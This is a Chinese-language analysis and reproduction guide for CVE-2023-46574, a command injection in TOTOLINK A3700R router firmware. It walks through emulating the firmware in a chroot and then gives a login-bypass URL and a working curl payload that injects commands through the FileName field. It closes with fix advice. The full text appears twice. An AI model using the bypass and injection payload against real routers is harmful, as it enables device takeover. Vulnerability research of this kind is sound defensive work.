TOTOLINK命令执行 CVE-2023-46574
字数 923 2025-08-22 12:23:13

TOTOLINK命令执行漏洞(CVE-2023-46574)分析与复现指南

1. 漏洞概述

CVE-2023-46574是TOTOLINK路由器中的一个命令执行漏洞,存在于cstecgi.cgi程序中。攻击者可以通过构造恶意请求在设备上执行任意命令,导致系统被完全控制。

2. 环境搭建

2.1 安装必要工具

sudo apt-get install schroot debootstrap

2.2 创建mipsel架构的chroot环境

sudo debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel https://mirrors.aliyun.com/debian

2.3 配置schroot

编辑配置文件/etc/schroot/chroot.d/mipsel.conf:

[mipsel]
type=directory
directory=/iotconfig/debootstrap/mipsel
users=root
groups=root
root-groups=root

2.4 进入chroot环境

sudo schroot -c chroot:mipsel -u root

3. 固件分析

3.1 解压固件

sudo binwalk --run-as=root -Me TOTOLINK_A3700R_V9.1.2u.6165_20211012.web

3.2 识别Web服务

解压后查看squashfs-root目录,发现lighttpd文件夹,表明使用lighttpd作为Web服务器。

3.3 复制文件到chroot环境

sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root/

4. 启动模拟环境

4.1 进入chroot环境

sudo schroot -c chroot:mipsel -u root
chroot squashfs-root/

4.2 启动lighttpd服务

lighttpd -f lighttp/lighttpd.conf

如果启动失败,创建必要的pid文件:

mkdir /var/run
touch /var/run/lighttpd.pid

5. 漏洞利用

5.1 绕过登录

由于未设置密码,可以通过以下方式绕过登录:

  1. 抓取登录请求
  2. 直接访问URL: http://127.0.0.1/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login

5.2 获取Session ID

通过浏览器开发者工具或抓包工具获取SESSION_ID

5.3 执行命令

使用curl发送恶意请求:

curl http://127.0.0.1/cgi-bin/cstecgi.cgi -b "SESSION_ID=2:1708017806:2" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'

其中ls -a可以替换为任意命令。

6. 漏洞分析

漏洞位于cstecgi.cgi程序中,FileName参数未经充分检查就直接传递给doSystem函数,导致命令注入。

7. 修复建议

  1. 对用户输入进行严格过滤和验证
  2. 避免直接将用户输入传递给系统命令
  3. 使用参数化方式执行系统命令
  4. 更新到厂商发布的最新固件版本

8. 参考资源

  • 固件文件: TOTOLINK_A3700R_V9.1.2u.6165_20211012.zip
  • 漏洞编号: CVE-2023-46574

通过以上步骤,可以完整复现TOTOLINK路由器中的命令执行漏洞,并理解其原理和利用方式。

TOTOLINK命令执行漏洞(CVE-2023-46574)分析与复现指南 1. 漏洞概述 CVE-2023-46574是TOTOLINK路由器中的一个命令执行漏洞,存在于 cstecgi.cgi 程序中。攻击者可以通过构造恶意请求在设备上执行任意命令,导致系统被完全控制。 2. 环境搭建 2.1 安装必要工具 2.2 创建mipsel架构的chroot环境 2.3 配置schroot 编辑配置文件 /etc/schroot/chroot.d/mipsel.conf : 2.4 进入chroot环境 3. 固件分析 3.1 解压固件 3.2 识别Web服务 解压后查看 squashfs-root 目录,发现 lighttpd 文件夹,表明使用lighttpd作为Web服务器。 3.3 复制文件到chroot环境 4. 启动模拟环境 4.1 进入chroot环境 4.2 启动lighttpd服务 如果启动失败,创建必要的pid文件: 5. 漏洞利用 5.1 绕过登录 由于未设置密码,可以通过以下方式绕过登录: 抓取登录请求 直接访问URL: http://127.0.0.1/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login 5.2 获取Session ID 通过浏览器开发者工具或抓包工具获取 SESSION_ID 。 5.3 执行命令 使用curl发送恶意请求: 其中 ls -a 可以替换为任意命令。 6. 漏洞分析 漏洞位于 cstecgi.cgi 程序中, FileName 参数未经充分检查就直接传递给 doSystem 函数,导致命令注入。 7. 修复建议 对用户输入进行严格过滤和验证 避免直接将用户输入传递给系统命令 使用参数化方式执行系统命令 更新到厂商发布的最新固件版本 8. 参考资源 固件文件: TOTOLINK_ A3700R_ V9.1.2u.6165_ 20211012.zip 漏洞编号: CVE-2023-46574 通过以上步骤,可以完整复现TOTOLINK路由器中的命令执行漏洞,并理解其原理和利用方式。